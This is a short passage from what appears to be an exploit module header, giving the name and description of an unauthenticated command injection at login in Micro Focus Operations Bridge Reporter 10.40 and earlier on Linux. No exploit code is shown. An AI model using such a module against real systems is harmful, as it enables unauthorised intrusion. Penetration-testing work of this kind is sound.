'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on *login* (yes, you read that right)
that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
It's a straight up command injection, with little escaping required and it works before
authentication.
This module has been tested on the Linux 10.40 version. Older versions might be affected,
check the advisory for details.
